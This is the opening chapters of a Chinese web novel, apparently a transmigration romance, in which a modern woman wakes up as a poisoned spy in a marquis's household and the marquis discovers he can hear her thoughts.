《穿成炮灰卧底,被恶劣侯爷读心了》 第一章穿书了 “夏清棠!死哪去了,赶紧出来干活,否则这个月的月钱你一分都别想要!" 门外尖锐的喊叫声落下,夏清棠猛地从床上弹起,脑海里多出来的记忆和浑身的痛感告诉她,她穿书了,穿到了《重生嫡女飒爆了》这本书中,一个沦为弃子的炮灰小可怜。 书中,原主武功高超,却因为一次意外被迫服下毒药,为了保住小命不得不听命于三皇子朔砚辞,被安插在镇北候府做卧底,最后却被三皇子卸磨杀驴,毒发身亡。 摸到袖口里藏着慢性毒药和安心丸,夏清棠眼里泛起冷意,她身上被下的毒名叫摧心散,每月十五毒发,即使不毒发每日也会被这毒折磨,大概日暮时分,浑身便会有蚂蚁啃食般的痛感,若是连续两个月没有服用安心丸,毒素就会彻底侵蚀心脉,彻底无药可救,撑不到第三个月毒发,人就该死了。 明日就是十五,她身上这颗安心丸只能应付这一月了。 没记错的话,今晚镇北候晏无咎的生辰宴上,景明帝也会来,三皇子朔砚辞要安排刺杀了。 夏清棠手里拿着把扫帚,在院子里游魂样的晃来晃去,脑子里疯狂回忆剧情。 三皇子那个阴险小人肯定是不能相信了,至于身上的毒...... 夏清棠眼前一亮,书中有一段剧情讲,镇北候一届孤臣能走到这个位置上,自身实力强大,却也得罪了不少人,这么多年来多的是人想让他死,暗着杀、明着杀、下毒....偏偏这镇北候次次都能活下来,都是因为他身边有一神医,直到大结局,神医被女主收入麾下,镇北候没躲过毒杀,才死掉。 现在离大结局还早着呢,神医肯定还在晏无咎身边,夏清棠皱眉思索,要是能想办法混到晏无咎身边,跟那神医打好关系,这毒就好办了。 她现在浑身上下唯一能拿得出手的就是这身好身手了,自己本身就是散打运动员,穿过来后又继承了原身这一身好武功,夏清棠深呼吸一口气,她现在确实感觉浑身有劲儿。 “喂喂喂!夏清棠,让你扫院子,你这是扫了个什么鬼!这个月月钱扣一半!" 王嬷嬷尖锐的嗓音再度响起,夏清棠抬头望了望黄了的树,闭眼感受了阵阵的风,干脆撂下扫帚。 “王嬷嬤,这大秋天的,这叶子扫了落扫了又落,您睁开眼看看是不是”? 夏清棠诚恳的盯着王嬷嬷,王嬷嬷撇嘴,她当然知道。 “嘿!反正没扫干净就是不行!"王嬷嬷蛮不讲理。 夏清棠眨巴眨巴双眼看着王嬷嬷,突然,她脸上表情娇羞,轻柔的摆弄着自己的双手,嗓音甜腻。 “前些日子遇到侯爷了,侯爷竟然与我说话了,他说,他说——” “他说啥?” 夏清棠脸颊泛起红晕,一副小女儿娇羞姿态,扭捏半天憋出一句,“侯爷说,我这双手生的很是不错”。 “......“ 王嬷嬷自是不信,侯爷那是何许人也,怎么会看得上一个丫鬟,想到这,王嬷嬷不禁上下扫视夏清棠,她心底不由一惊,这丫头何时变得这般灵动好看了。 王嬷嬷皱眉思索,这丫鬟平日里确实最为乖巧,天天也是想着法儿的巴结她,要调到侯爷身边伺候,现在这样子,哼,不过是被侯爷夸了一句就装不下去了,瞧那尾巴简直是要竖到天上去了。 王嬷嬷心中不屑,面上却不再咄咄逼人,“那我这老婆子可是不敢扣你的月钱了,正好前院儿宴厅要伺候的人手,你去吧”。 侯爷可是最讨厌妄想攀龙附凤,不知天高地厚的人了,她就等着看笑话。 “哎!谢谢王嬷嬷” 夏清棠乐滋滋的目送王嬷嬷离开,不一会儿,一窝蜂涌过来一群丫鬟,拥着她就去沐浴更衣,换了一身新的丫鬟服。 然后夏清棠被领到了前院宴厅,倏然,她感觉到一道极其危险的目光,抬头,蓦地和三皇子朔砚辞对视上。 夏清棠不屑的移开目光。 朔砚辞目光凝住,随即不屑冷嗤,武功再高又如何,还不是被他拿捏。 “来了来了!” 随着宾客的不断到来,宴厅也哄闹起来,终于,在晏无咎和景明帝一同进入宴厅的时候,哄闹达到高峰。 嘲讽的、敬佩的、艳羡的目光层层叠叠,夏清棠悄无声息打量着晏无咎,这本书中又一个命运多舛的角色,不仅自己是条英雄好汉,身边也都是能人异士,只是后期都跑了,不是跑男主身边,就是跑女主身边,甚至还有跑到朔砚辞身边的。 众叛亲离啊!可悲、可怜。 或许是夏清棠的目光太过强烈,晏无咎的目光突然瞟过来,停留一瞬。 天色渐暗,刺客要来了。 刺客再不来,她就要倒下了,摧心散每日特定的折磨人时间要开始了。 这个朔砚辞是不是个傻叉,让她来当卧底,还下这么歹毒又显眼的毒,生怕她毒发的时候别人看不出来吗? “啊啊啊啊啊啊!!” “有刺客!” 刺客终于来了,整个宴厅瞬间乱成一团,多个刺客围剿景明帝和晏无咎。 “救救驾!镇北候,护着朕,朕重重有赏” 晏无咎喉间发出意味不明的的冷笑。 “皇上,您放心吧” 嘶!真疼,夏清棠忍着痛意,紧盯着晏无咎这边的一举一动。 围剿景明帝和晏无咎的刺客数量在急剧减少,晏无咎身上受了不少伤,眼看时机已到,夏清棠大吼一声,“侯爷!小心啊!”。 一道灵巧穿梭在宴厅中的身影迅速掠到晏无咎身旁,手中抓着一把银筷,尖锐刺耳的喊叫声层出不绝。 “啊啊啊啊!” 一道道银筷甩出,精准刺入刺客死穴。 靠,真疼。 到这,夏清棠感觉自己忍耐力已经到了极限,在晏无咎探究的目光中,她猛地奔向晏无咎,一把推开他。 “侯爷!有刺客!” 噗呲! 长剑划过夏清棠的肩膀处,她晕倒在晏无咎怀里。 晏无咎脸色发黑,身后晕着个景明帝,怀里晕着又晕了个丫鬟,要不是他现在武功还在恢复期,区区几个刺客怎么可能围住他。 这场刺杀最终以羽林军的到来而结束。 夏清棠随着晏无咎被带到了墨韵院。 第二章心声 晏无咎始终冷着眼盯着床上还在昏迷的夏清棠。 呵,想杀他的那帮子人这次倒是下了狠功夫。 “主子,这人要不要杀掉” 林木突然出现在房内,他小心翼翼的观察着晏无咎神色。 晏无咎始终神色不明。 刚被疼醒的的夏清棠:“......” 她现在是醒还是继续昏着,还是继续昏着比较好。 【服了,当着当事人的面讨论要不要杀掉当事人真的很没品】 晏无咎神色猛然一僵,他掏掏耳朵,怀疑是自己幻听了。 【这个晏无咎整啥幺蛾子呢,没毛病就赶紧走开】 晏无咎将视线停在夏清棠的睡颜上,目不转睛。 这是个什么邪门玩意。 林木在一旁就那个姿势蹲了半天,也不见自家主子说话,一抬头,就看到主子像变态一样盯着人家小姑娘。 【靠,这人不会是在盯着我吧】 夏清棠浑身汗毛直竖,她想了想,还是佯装刚清醒的样子睁开了双眼。 晏无咎好似发现了什么有趣的东西一样,唇角勾起一抹恶劣的笑意。 他突然凑近夏清棠,骨节分明的手指挑起夏清棠的下巴,喉间溢出轻笑,故意问。 “听王嬷嬷说,侯府要有女主人了,你知不知道? 夏清棠嘴角微抽,一副她啥也不知道的表情,“哈哈,恭喜侯爷贺喜侯爷,我们侯府要有女主人了”。 【我哪知道你要不要娶老婆,这侯爷脑子是不是有泡】 脑子有泡? 晏无咎目光深沉,是在骂他脑子有病? 晏无咎突然抓起夏清棠的双手,阴森森的说,“拿着筷子杀人的时候不是很牛吗,这双手真是又厉害又好看”。 夏清棠一愣,浑身蚂蚁啃噬般的怎么隐隐好像减轻了,尤其是这双手,像从没中过毒般。 她忽略了晏无咎说的话,目光落在了唯一的变数上,抓着她双手的晏无咎身上。 “本侯跟你说话呢,你在发呆?” 晏无咎看到夏清棠盯着他的双手,也不说话,也没心声听,有些不耐烦,他的手又掐上夏清棠下巴。 夏清棠瞪大双眸,如果没猜错的话,靠近晏无咎就能减轻痛苦。 【也是,连穿书这种离谱的事情都能发生,还有什么是不能发生的】 穿书? 晏无咎心底不屑,右手甩开夏清棠的下巴,下一秒,大掌却突然被一双温热的小手握住。 只见夏清棠眼角抽搐的看着他,“侯爷,我都是因为太仰慕你了,想永远陪在你身边,我在宴厅上救了侯爷,不奢求什么,只是想能陪在侯爷身边”。 “想陪在我身边?呵呵,就算你不救我,我也不会死” “.....” 【装,你就装吧】 【你是不知道你以后会死的有多惨吧,还“就算你不救我,我也不会死~”】 夏清棠表情突然严肃,紧抓着晏无咎的大手,非常正经。 “侯爷,实不相瞒,我是老天爷派来拯救你的” 在晏无咎看骗子的目光中,夏清棠一脸高深莫测,“你的死期不远了”。 “你咒我死?” 【反派通常死于自大】 “侯爷,接下来我要的说的话,你需要关好房门” 晏无咎有种不详的预感,但还是想听这个阴险狡诈的恶毒女人说话,他乖乖的去关了门,并警告周围的暗卫不许偷听。 夏清棠嘴角憋着笑,“你身上有个图案”。 晏无咎:“......” 他瞳孔放大,想要制止。 “就是你右边屁股蛋上有个长的像王八...不不,是像乌龟的胎记” “还有,侯爷天不怕地不怕,就怕蜘蛛” “还有...” “闭嘴!” 晏无咎恼羞成怒了,整个人憋着一股气,脖子连着脸都红了。 【这就气着了,我还有一堆没说呢】 局势反转,夏清棠化被动为主动,像地痞流氓一样眯着眼,嘴角噙着笑盯着浑身泛着煞气的晏无咎。 “咋样啊,侯爷,我说的对不对,你还想听啥,我都知道” 晏无咎逼近夏清棠,眼看右手就要掐住她的脖子,夏清棠本能一闪,右脚直接朝晏无咎裆部袭击,两人直接来了一场切磋。 【怪不得是死相凄惨的大反派,一言不合就动手,活该最后被男主女主灭掉】 晏无咎一愣,随即冷笑,“你以为知道这些,就能唬住本侯吗?” 晏无咎浑身透露着危险的气息,夏清棠皱眉思索。 【看来还得一磅炸弹】 夏清棠微微一笑,“屁股上有胎记,怕蜘蛛,确实不足以向侯爷证明我的价值,可是,侯爷,你难道不想知道拦截了属于你将士们的抚恤银和运往边境的粮草的真正操纵人是谁吗?”。 【快说啊,说你想】 晏无咎收敛了杀意,这个女人知道的不少,他还能读她的心,先留着,改日再杀。 “你是谁?” 冷不丁一问,给夏清棠问懵了。 “啊?” 【实话告诉你吧,我是#@¥#`± ∞∑***¥】 晏无咎听着叽里咕噜不知道是啥的鸟语,脸上划下黑线。 “我就是一个卑微谋生的小丫鬟” 夏清棠胡说八道一通,面对这个心眼儿又小,又狡猾又恶毒的男人,她自然不能把自己有求于他的把柄交出去。 “白痴”,晏无咎冷嗤,抬脚就要往外走。 “错过我你将错过一枚得力大将,将与逆袭的道路背道而驰!” 夏清棠绝对不能错过这次扒在晏无咎身边的机会,她再想想。 晏无咎听着女人心里和口里的絮絮叨叨,嘴角微扯,他大手一挥。 “林木,给她安排个近点的屋子,以后就伺候我吧” 装神弄鬼的狡猾女人!他要把她放在眼皮子底下盯着。 第三章侯爷,有蜘蛛! 夏清棠被安置在了晏无咎屋子的旁边的旁边,她躺在床上,眼神放空,摸了摸袖口里藏着的安心丸,安心的睡着了。 第二日,农历九月十五。 床上呼呼大睡的夏清棠猛地睁开双眼,从心口处蔓延开的密密麻麻的痛意比闹钟管用。 呼—— 夏清棠认命的摸向袖口,掏出唯一的一颗安心丸服下,天杀的朔砚辞。 痛意慢慢消散了些,夏清棠知道这药的效果一次不如一次,她得抓紧了。 作为一名优秀的散打运动员,晨起,来一套技术训练和体能训练是必须的。 练完再去找晏无咎。 夏清棠练的正兴起,门外传来呼喊声,是晏无咎身边那个侍卫。 “夏姑娘,侯爷要起床了,你得去伺候啊” “好,知道了” 验证靠近晏无咎到底能不能缓解毒发的时机来了,夏清棠擦了擦额头沁出的汗,干脆利落的走出去。 咚咚咚! “进来” 房内,晏无咎披散着长发,敞着胸襟,光着大脚坐在床边。 他看到脸上泛着红晕,眼神明亮的夏清棠走进来,嘴角突然勾起一抹冷笑。 “怎么?是知道要来给本侯更衣,激动的脸红了吗?” 初次进陌生帅男人房间,本来有些尴尬的夏清棠被这句话问的呆住了。 “......” 好不要脸。 晏无咎目光一直盯在夏清棠脸上,明明脸上表情都已经要把心里话挂出来了,他咋没听到。 “走近些” 夏清棠乖乖走进。 “本侯问你话呢?听不到,还是睡了一觉耳朵死了” 【嘴真毒,怪不得众叛亲离了】 “侯爷,是因为我早上起来锻炼身体了,所以脸红” 晏无咎低眸看向两人之间一个跨步的距离,他好像知道了,得挨这妖女近些,才能听到这妖女的心声。 夏清棠见这人不说话,反而是笑了,下一秒,就看到晏无咎黑眸里闪着不明亮光。 “哦?怪不得,你一靠近本侯,本侯就闻到一股汗味” “滚出去,以后洗干净了,再来伺候本侯” “......” 夏清棠这下是真明白了,原来眼里闪烁的亮光是名为混账的亮光。 【你才臭你才臭,大早上起来不刷牙漱口,就张嘴跟我说话,你这张嘴比茅坑还臭!】 晏无咎愣了愣,情不自禁的抿抿嘴唇,他确实还没来得及漱口。 夏清棠有些不甘心,她眼珠子一转,面上表情突然惊恐,右手猛地指向晏无咎身后的床幔上。 “啊!侯爷,有蜘蛛!” “别怕,侯爷,我来救你” 只见夏清棠一把扒拉过晏无咎,又大刀阔斧的爬上大床,一阵脚踩手拍,整个床幔内不堪入目。 她邀功似的朝一脸凌乱的晏无咎嘿嘿一笑,“侯爷,我把蜘蛛弄死了,在我脚底板,你要看吗?”。 说着,她好像就要朝着晏无咎抬起右脚,展示一下脚底板。 晏无咎整个后槽牙嘎嘣嘎嘣响,他脸色发黑,身上本就半敞的衣服刚才被夏清棠一扒拉,现在彻底散开,白皙的胸膛上面还多了一个清晰的红掌印。 【哈哈哈!】 “啊!侯爷,我不是故意的,都怪我太着急给你灭蜘蛛,也都怪我手劲儿太大了,都把你胸膛拍红了” 夏清棠急着从床上下来,却被被子拌了一脚,措不及防,一双手又狠狠拍在了晏无咎敞开的胸膛上。 “夏清棠!你好大的胆子,敢对本侯图谋不轨!” 晏无咎提溜起夏清棠后脖颈处的衣服,怒目而视。 【谁对你图谋不轨了,不过是长的俊点,有用点】 晏无咎气消了点,不过是个花痴妖女,眼光倒是不错。 夏清棠低垂着眼不看晏无咎,刚才抓蜘蛛的大嗓门现在变成失落甜腻小嗓音,“侯爷,我知道我配不上你”。 【呸呸呸,不兴妄自菲薄】 晏无咎危险的眯起双眼,强迫夏清棠抬起头,两人之间距离不过一掌。 气息交缠,晏无咎情不自禁憋住呼吸。 【再不离远点,我要斗鸡眼了】 “嗤!” 胸无点墨! 他居然还会觉得这女人会对自己有用,这样想着,他又朝夏清棠投以鄙夷的眼神。 【好好珍惜你的眼睛吧,别乱翻了,以后它就要被人挖去收藏喽~啧,还是最迷恋你的灵汐公主,你最好兄弟的妹妹】 夏清棠摇了摇头,“侯爷,有事再叫我”。 【果然得离这个男人近点,确实有用】 【皇宫里景明帝应该也醒了,马上就要叫这男的进去问罪了】 她能缓缓。 晏无咎沉沉的盯着夏清棠离开的背影。 林木闪现。 “侯爷,宫里来人了” 镇北候府外,皇宫里景明帝身边的大红人魏公公来了。 言简意赅,就是让侯爷进宫,皇上有要事商量。 “看好她” 留下一句话,晏无咎乘着快马奔向宫内。 夏清棠松了一口气,她还以为记错了,大概是这两天没睡好,脑子有点晕。 自从被安置在这院子里后,倒是闲,王嬷嬷的大嗓门都听不到了。 咚咚咚! “夏姑娘?” “夏姑娘在不在” “我啊,我是王嬷嬷” “找我干嘛” 王嬷嬷走进门来,左望右望,看到依旧是狭小简陋的屋子,再看眼前这丫鬟身上还是那身衣服,她稍稍安心了些。 “夏姑娘,你看嬷嬷以前没少照顾你,日后若真成了侯爷身边的红人,可不能忘了嬷嬷啊” “哦” 王嬷嬷被关在门外,凉风吹来,房门突然又开了。 夏清棠有些关于侯爷的生活小事要问,俗话说,最了解你的人不一定是你最亲近的人,而很有可能是你的敌人,虽然王嬷嬷不是晏无咎的敌人,但也算挨的比较近的人了。 喜欢吃甜的,爱喝冰的,对自己的将士们尤其好,所以这么多年了,侯爷府还是如此清贫。 谈起侯爷,王嬷嬷罕见的露出了些人性。 “所以,你就一直克扣我月钱?” “......” ...... 皇宫御书房内,景明帝阴沉沉的坐在宝座上,盯着下方站着的高大身影。 晏无咎也沉着脸,这个皇上天天事挺多,自从回到京城后,三天两头的传唤他进宫。 “镇北候,你刚回京没多久,就三番五次遇到刺杀,你可有什么看法” “回皇上,臣觉得想叫臣死的人太多了,臣日后定要加强防护” 真是油盐不进的家伙,景明帝目光沉的发黑,大掌落在玉玺上,喉间却溢出雄浑的大笑,“哈哈哈,爱卿还是如此真性情,朕喜欢”。 第四章是不是兄弟了 “无咎兄?” 听到身后有人唤他,晏无咎停下脚步转身,微微做揖。 “四皇子” 朔千钰听到这话眉头皱了皱,似乎是表示不赞同,他语气带了些不认同。 “无咎兄,说了多少次,你我二人之间不必如此拘谨” 晏无咎眸光闪烁,笑了笑没说话。 “无咎兄,你今日入宫,是因为我父皇要质问昨日你生辰宴上发生的刺杀一事吗?” “唉!你瞧瞧我,昨日你的生辰宴我都没去,实在是有事走不开,不然,昨日必定不会让那刺客如此嚣张!” 晏无咎静静听着朔千钰自顾自的说了一连串话,才出声,“皇上并未责怪,只是让我日后要加强防护”。 朔千钰脸上表情僵了一瞬,随即立马开心的说,“是吗,父皇并未责怪于你,那可真是一件可喜可贺的事情,明日我们必须一同去酒楼庆贺一番!”。 “不了,我明日还有些事要办” 朔千钰立刻不认同的出声,“嘿!我们兄弟二人多久没见了,更何况我都把明日的事情推迟了”。 “还是不是兄弟了!” “明日我再叫上一二好友,我们得不醉不归!” 晏无咎无奈答应,二人边交谈便往皇宫外走。 “那事儿查出来没” “啊?” 晏无咎有片刻失语,“抚恤银和粮草的事儿”。 朔千钰长叹一口气,“无咎兄,对方来头可不小,我为了查这事儿,不知道得罪谁了,一名负责此事的手下如今身重剧毒”。 晏无咎拧眉,他总感觉他知道朔千钰下一秒嘴里要说出啥话。 果不其然。 “无咎兄,听说你上次打胜仗,我父皇赏赐你不少财宝和珍稀药材” “那财宝我知道你是都要用来补贴军饷,就是这药材……可否给我些,我那手下现在得这珍稀药材吊着命,唉……” 朔千钰声音低落,满满都是我的手下因为为你的事情受伤了,我不要你的钱只要你的药,看我多么善解人意。 晏无咎松了眉,多少次了,数不清了,这样的明里暗里要东西要人手。 晏无咎将目光落在朔千钰脸上,脑中思绪万千。 “行,你同我一道回府,给你取些药材” “还有,之后这事儿你别查了,再牵扯到你就不好了” 晏无咎说完,也没管朔千钰作何反应,只大步走向宫门。 “不行啊,无咎兄,这可是你的事儿……” ……镇北候府,夏清棠和王嬷嬷攀谈了好一阵,套到了不少消息。 她思索片刻,又想到这镇北候府这么穷,想来,她也挣不到多少钱,那日后万一要是解了毒,万一要是真回不去,她总不能一辈子在这儿当丫鬟吧,她得想办法搞小钱钱。 林木这个工具人又出现了。 “侯爷在前厅,你去伺候,我们侯府可不养闲人” 夏清棠微笑,“得嘞,小的这就去”。 走到前厅,脚步刚迈进去,迎面就和晏无咎对视上了。 晏无咎看着不远处的小丫鬟一脸平静,就想知道她现在心里面在想啥。 夏清棠转眼,看到了一个较为陌生的男人,只是眉眼间和那朔砚辞有一丢丢的相似。 “四皇子,先尝尝这茶” 四皇子? 那不就是原书的男主吗? 一个卑鄙无耻猥琐不堪油腔滑调两面三刀的恶心男人,原书中,还企图对原主不轨,甚至还不如朔砚辞,她真不知道咋这年头这种人都能当男主了。 晏无咎和朔千钰交谈,眸光却一直落在夏清棠身上,此刻看到这女人脸上露出鄙夷的表情,他有点好奇。 想听她的心声。 “发什么呆,来我旁边站着” “……”人在屋檐下不得不低头,夏清棠乖乖走过去。 朔千钰一看,眸光就牢牢锁在夏清棠身上,虽极力掩饰,但那副沁进骨子里的猥琐下流根本遮不住。 “无咎兄,想不到你这府上还有这等样貌的丫鬟” “收敛点,少把你那一套搬我这” 晏无咎罕见的对着朔千钰冷声。 朔千钰无声冷笑,不怀好意的眼神在晏无咎和夏清棠身上来回扫视,最后还是牢牢落在夏清棠身上。 真美啊,这样极品的货色怎么能被晏无咎这样的草芥贱货玷污,改日他得找个时机问晏无咎讨要过来,反正晏无咎这个泥腿子肯定会答应他。 【呸!恶心玩意儿,再用你那双狗眼盯着你姑奶奶看,信不信把你阉了!】 夏清棠真是要被恶心死了,这男的咋这么恶心。 晏无咎站起身,走到朔千钰身旁,不动神色的挡住朔千钰频频落到夏清棠身上的猥琐目光。 【可怜的晏无咎,一直把朔千钰当自己的好兄弟,可在人家眼里,他只不过是一个用的趁手的工具】 【唉!说起来,我和晏无咎可不是同病相怜吗?都被人当成用完就丢的工具】 晏无咎眸光微凌,他是工具人?他把朔千钰当好兄弟? “无咎兄,什么时候带我去你的内库啊” “钥匙还没未送回,再等等” 夏清棠竖起耳朵一直听着两人的交谈,听到这话,她了然。 【果然又是来要东西了】 【晏无咎这狗男人能忍他这么久也是厉害,看着这么聪明的一个人,怎么一遇到这种救命之恩的戏码就变成蠢货了】 晏无咎额头青筋跳动,他有点忍不住了,这个女人到底是什么妖精,怎么知道的这么多! 夏清棠撇撇嘴。 【一直盯着我看干嘛,有那点时间还不如去看看脑子,咋就相信了这个四皇子是你恩人了】 晏无咎目光凝重,周身气压越来越低,他的目光从夏清棠身上移到朔千钰身上,恐怖的吓人。 朔千钰嘀咕,今日这晏无咎是吃了啥疯狗药了? “无咎兄?想啥呢,这不是钥匙吗?走,去拿东西” 晏无咎思衬片刻,低沉的嗓音响起,“给你的东西有点多,改日直接给你送府上”。 朔千钰乐了,这世上还真有这么蠢,这么讲义气的人啊,呵,铁血将军也不过如此,不过是一条召之即来挥之即去的蠢狗。 朔千钰得意满满的走了。 【天爷,泪流满面了,这个男人对朔千钰真的好宠】 晏无咎脸色阴沉的发黑,他想到什么,突然挨近夏清棠,眼底闪着莫名的光,“你不是说你什么都知道吗?说说,我明天要去干啥”。 “……” 夏清棠目光不受控的落在晏无咎下身,这......真的要她说吗? 第五章看不上你 察觉到夏清棠的目光落在他的裤裆处,晏无咎脸色双眼微眯,脸色不是很好。 真是个胆大包天的女人。 “好看吗?” 低沉的嗓音落在耳畔,夏清棠猛地移开视线,有些不自在。 “侯爷说笑了,虽然我会些算命,但也做不到精准算出你何时要去何地做啥事,那可是要遭天谴的” 【说的时候你不信,不说的时候你又想听,玩欲擒故纵呢】 “你觉得四皇子怎么样” 晏无咎换了个问法,想从这个女人的心声里听个有用的也是不容易。 【没你傻,就是太恶心了】 “四皇子丰神俊朗,想必很受人敬爱” “哦?是吗,刚才四皇子向我示意,想要过你去他那做外室” “你可愿意” 晏无咎嘴角勾起,一脸混账样。 夏清棠瞳孔瞪大,感觉有点恶心,随即,她看到晏无咎嘴角恶劣的笑。 这人是故意的! 她咽了咽唾沫,掐着嗓子,“侯爷,就算四皇子再优秀,我心悦的也还是你啊”。 说罢,又羞赧的撇了晏无咎一眼。 晏无咎:“......” 演技真是差的要死,就这样还敢说是心悦他。 “呵,本侯的魅力原来竟如此大,既然如此,来做本侯的外室,如何?” 晏无咎饶有兴味的目光落在夏清棠娇俏的小脸上。 夏清棠:“好呀,既然侯爷愿意的话” 【其实也不是不行,毕竟这人明天就要被绝育了,马上就是个伪男人了】 ?! 晏无咎的笑僵在脸上,什么玩意? 多次的巧合让夏清棠此刻的心声充满了冲击力。 晏无咎冷哼一声,“想得美” 夏清棠:“……” “坐” 书房内,两人相对而坐,素来淡定的夏清棠此刻感觉自己头皮麻的慌。 【怎么离这么近,还一直盯着我看啊】 【不会是真看上我的美貌,想要我做外室吧】 【呜呜呜,好恐怖】 听着面前女人絮絮叨叨、密密麻麻的自恋心声,晏无咎嘴角抽了又抽,他就算是眼盲心瞎了,也绝对不会看上她。 “放心吧,本侯看不上你” 晏无咎斜靠在椅背上,懒散的瞥了眼夏清棠。 “过来,夏大丫鬟,不知道你该干嘛吗?” 【不知道不知道不知道,王八念经!】 “给本侯捏捏肩膀,本侯忙的很啊,累的慌,不像某人,明明是个奴婢,在我这府上却像个大爷一样” “......” 夏清棠走过去双手抚上男人的肩膀,力道大的惊人。 摸着身下男人健壮的肩膀,她走神了。 【身材长的再好,明天也要被自己好兄弟搞成伪男人了】 【唉,可惜了,可惜】 晏无咎皱眉,看来在夏清棠所预知的事情了,自己是个只要碰到朔千钰就变蠢的蠢货。 【明天要不要去救晏无咎,刷一波好感度呢】 晏无咎脸色越来越难看,他冷沉出声。 “你想捏死本侯吗?” “手劲那么大,下次修城墙叫上你,毕竟,为本侯效力是你的荣幸” 呵,晏无咎不想再看这个女人,在她面前总有一种光着屁股的感觉。 晏无咎走了,徒留夏清棠一人。 “神经病吧” 古代当官的都这么神经吗?她也没说啥啊,咋脸色就突然臭了。 现在正是午后,夏清棠暗自思忖,改日找个时机必须去外面转一转。 …… “主子” “再多派几个暗卫,盯着朔千钰,有任何动静,立即报回” “是,主子” 晏无咎脑中浮出夏清棠那张小脸。 “另外,我院子里明天那个女人明日若是出去,不必阻拦” “再派个暗卫盯着点” “是,主子” 晏无咎揉了揉额头,又犯病了,这几年,头疼越来越厉害了。 夏清棠猫着腰往晏无咎书房走,猛然,她反应过来,她是来送吃的,又不是来作贼的。 她挺直腰杆。 咚咚咚——没人应。 咚咚咚——还没人应。砰!是重物落地的声音。 夏清棠顾不上多想,立马推门进入。只见下午还看着很硬朗的晏无咎此刻脸色苍白,紧闭双眼,眉毛拧成死结,倒在了书桌旁边。 书中很多时候对晏无咎这类配角的事情都是一带而过,只有遇到和男主女主相关的事情,才会详写,她不知道晏无咎是不是又中毒了。 她内心又不禁浮现出几丝丝暗喜,晏无咎中毒了,那是不是意味着她能看到那传说中的神医了。 她忍者心中的喜悦,焦急的大喊,“侯爷!侯爷,你怎么啦”。 偌大的侯府,能用的却没几个,夏清棠表示,还是你们这些当官的会玩,书中人人忌惮的反派之一,现在搞得跟个没人爱的小可怜一样。 林木回来了,晏无咎终于被挪到了床上。夏清棠自告奋勇要承担照顾晏无咎的任务。 林木想了想,经过他这么多天的观察,侯爷对夏姑娘确实不一样,不仅会让夏姑娘进书房那样重要的地方,还允许夏姑娘出去,还要他派个暗卫保护夏姑娘这可是以前从来没有过的事儿。 他觉得,这俩人有戏。于是,他一口应下,“好,夏姑娘,你心细,你来照顾,我就在旁边候着”。 外面天色渐渐昏暗,夏清棠等的心急,但就是不见有人来。 “林侍卫,咱们就这样干等着侯爷醒过来啊,不找个大夫啥的?” 林木:“不用”“……” “真的?” 见夏清棠满脸关切,林木好心解释,“侯爷这是老毛病了,就算是神医来了也没用”。 知道晏无咎惨,没想到他这么惨。 夏清棠再次上前要看看晏无咎,抬脚的瞬间,心口处猛然传来一阵阵的刺痛,不断蔓延,理智在不断被侵蚀。 又来了,该死的毒药,该死的朔砚辞! 夏清棠渴切的快步走向榻上的晏无咎,剧烈的痛感侵蚀她的理智。 呼——终于摸到了。 疼痛减弱,连混沌的脑子都清醒了不少,夏清棠双手贪恋的在晏无咎身上流转。林木瞪大双眼,眼睁睁看着夏清棠对着他家侯爷上下其手。 “这是我学的按摩,我想可能有利于侯爷醒来” “哦哦,夏姑娘你真心灵手巧” 有了正当的理由,夏清棠越发大胆,她一定要牢牢扒住晏无咎,解了身上这毒。 夏清棠沉浸式抚摸。 一道冷冷的目光冷不丁射向夏清棠。 林木心喜,正要开口,却被晏无咎一个眼神制止。 看来是侯爷是沉浸在夏姑娘的手法中了。 “摸够了没?” 夏清棠动作僵住:“……” “好摸吗?” “哈哈哈,侯爷,你醒啦?” “侯爷,夏姑娘这是在给您按摩呢”,林木看到主子醒了很开心。 “哦?这么好心?下次再让我逮到你乱摸我,你这双鸡爪子就别想要了。 【要不是摸你能让我舒服点,我才不摸呢】 耳边女声略显傲娇,可话中内容却是是如此孟浪,晏无咎不屑,不过又是一个见色起意的坏女人。 呵,不仅是个女流氓,还是个女流氓,他日后得防着点。 —— 时间很快来到第二日清晨。 晏无咎早早就出了门,夏清棠又被安排来扫这该死的落叶了。 她四处看了又看,是个绝佳的外出时机。撂下大扫把,她的轻功已经运作自如,不出片刻,便离了这侯府。 第六章此起彼伏 有人跟着她? 大概是原主身为刺客多年来养成的敏锐洞察力,夏清棠在刚出府时,就察觉到身后有一道若隐若无的气息,始终跟着她。 她得将人甩掉。 悄悄运起功力,她的速度越来越快。 身后一直不远不近跟着的那人也挺快,不好甩掉,夏清棠目光瞥向热闹的街道,眼珠子一转。 大喊,“抓小偷啊!有小偷”。 这条繁华的街道人多眼杂,常有小偷出没,是以,听到这声呼喊,街道瞬间乱成一团,夏清棠借着人群的掩护,迅速闪退。 看不到人了,暗卫懊恼。 夏清棠暗自窃喜,她正要喜滋滋的向前走,抬头,却看到她周围围了一圈人,这……大事不妙啊。 她故作镇定,“各位大哥,借过借过,误入此地无意冒犯”。 气氛死一般的静,几个男的纹丝不动。 “找的就是你” “主子有请,跟我们走一趟吧” 夏清棠看到了这人手里的令牌,是朔砚辞要见她,正好,去会会他。 她看了看酒楼的方向,可惜的摇摇头,大概晏无咎绝育的命运是躲不过去了。 …… “怎么,在晏无咎身边当丫鬟当久了,忘记谁才是你的主子了,见到本皇子,连个好都不知道问了” 朔砚辞站在阴暗处,阴冷的目光落在夏清棠被阳光映照的娇艳面孔上。 夏清棠笑了笑,“三皇子你好,我想问一下下个月的安心丸什么时候给我呀”。 看到这三皇子就来气,书中原主尽职尽责都拿不到解药,最后被抛弃才知道这狗东西根本没有真正的解药,只有这暂时性作用的安心丸。 朔砚辞愣了一下,这女人今天是吃错药了?说话这么软,他目光不善,这个女人是看当卧底无望,妄图用美人计勾引他吗? 呵,不自量力。 “你在镇北候府呆了那么久,什么有用消息都没得到,还想要解药?你做梦呢。” “还有上次镇北候府宴会,你为何要出手相助晏无咎,他没怀疑你为什么会武功?” 夏清棠突然恨铁不成钢的看向朔砚辞,“三皇子,我这么明显的意图你居然看不出来?!”。 真是蠢如猪啊你! “我那都是为了取得晏无咎的信任,你看,我现在都住进晏无咎的院子了” 朔砚辞显然没想带晏无咎会如此做,“你还有这等本事?”。 虽然眼前这个女人武功极强长得极美,但当初让她用美人计勾引晏无咎的时候,她死活不肯,如今这是…想通了? 朔砚辞意味深长的看了夏清棠一眼,“想通了就好”。 他又补充一句,“你最好别被那晏无咎哄了去,不然,呵,你的命也就别要了”。 